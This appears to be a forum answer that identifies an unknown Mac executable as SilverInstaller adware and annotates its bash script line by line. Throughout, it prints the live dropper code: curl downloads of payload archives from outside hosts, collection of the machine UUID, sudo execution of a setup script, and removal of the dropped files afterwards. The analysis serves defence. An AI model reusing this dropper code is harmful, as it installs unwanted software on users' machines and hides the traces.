What is this unknown executable on my boot volume? Is it Malicious?
This is SilverInstaller, adware to download more adware and ‘potentially unwanted programs’. This was likely distributed through fake Flash popups, which someone on the system clicked on, downloaded, opened, installed and provided administrator credentials to.


  
  


Installed software in this package likely includes


  MacKeeper, VSearch, A Pirrit injector, BrowserEnhancer, MPlayer


all of which you most certainly don't want.


https://www.intego.com/mac-security-blog/silverinstaller-uses-new-techniques-to-install-puapup/
https://www.intego.com/mac-security-blog/silverinstaller-sneakier-than-previously-thought/


I'll break down the code


#!/bin/bash



This code is script to be interpreted by bash, noted by this shebang.


func_4(){



Begin a function declaration including body to be called later on.


/bin/mkdir -p /var/tmp



Make sure the tmp directory exists to be used for temporary storage of the malicious payloads later on.


/usr/bin/curl -s -L -o /var/tmp/sr.tgz "http://c.premiummac.com/static/sr/sr_v2.tgz"
/usr/bin/tar -xzf /var/tmp/sr.tgz -C /var/tmp
cd /var/tmp/dvs



Download and extract the first malicious payload. sr_v2.tgz is BrowserEnhancer. The payload contains a dvs directory.


mid=$(ioreg -rd1 -c IOPlatformExpertDevice | awk '/IOPlatformUUID/ { split($0, line, "\""); printf("%s\n", line[4]); }')



Get a unique identifier for this machine to be used later.


COUNTRY="CA"
if [ "$COUNTRY" == "AU" ] || [ "$COUNTRY" == "CA" ] || [ "$COUNTRY" == "US" ] || [ "$COUNTRY" == "NZ" ]\
  || [ "$COUNTRY" == "ES" ] || [ "$COUNTRY" == "IT" ] || [ "$COUNTRY" == "NL" ] || [ "$COUNTRY" == "FR" ] || [ "$COUNTRY" == "IN" ]\
  || [ "$COUNTRY" == "DE" ]; then



Try some region matching to decide what to do next. I say ‘try’ because this doesn't work when the region is hard-coded in the script.


    sudo ./setup.sh "http://www.searchitdown.com/?n=026&amp;searchsource=55&amp;UM=8&amp;gd=SY1000653" "http://www.searchitdown.com/?n=026&amp;searchsource=69&amp;UM=8&amp;gd=SY1000653" "http://www.searchitdown.com/Results.aspx?n=026&amp;searchsource=58&amp;UM=8&amp;gd=SY1000653" "searchitdown" "upd" "http://i.firstinstallmac.club/c/cc?id="



Call to an external script with some more fancy adware domains.


else
    sudo ./setup.sh "http://feed.snowbitt.com/?publisher=TingSyn&amp;ts=sy&amp;barcodeid=51222999&amp;searchtype=hp&amp;type=YHS_TGE_2712c1&amp;_=tt1" "http://feed.snowbitt.com/?publisher=TingSyn&amp;ts=sy&amp;barcodeid=51222999&amp;searchtype=nt&amp;type=YHS_TGE_2712c1&amp;_=tt1" "http://feed.snowbitt.com/?publisher=TingSyn&amp;ts=sy&amp;barcodeid=51222999&amp;searchtype=ds&amp;type=TGE_2712c1" "snowbitt" "upd" "http://i.firstinstallmac.club/c/cc?id="
fi



This bit never gets executed as mentioned.


CLIENT_COMP=""
if [[ ! -z "$CLIENT_COMP" ]]; then
    /usr/bin/curl -s -L -o /var/tmp/re.txt "http://i.firstinstallmac.club/is/if?i="
fi



Grab another payload.


func_taaVqst(){
sleep 220
rm -rf /var/tmp/dvs
rm -rf /var/tmp/sr.tgz
}
func_taaVqst &amp;



Clean up, removing the files created and dropped earlier in the script, after a delay given that the files would have been used by then.


}
func_4 &amp;



Function all ready to go, time to call it.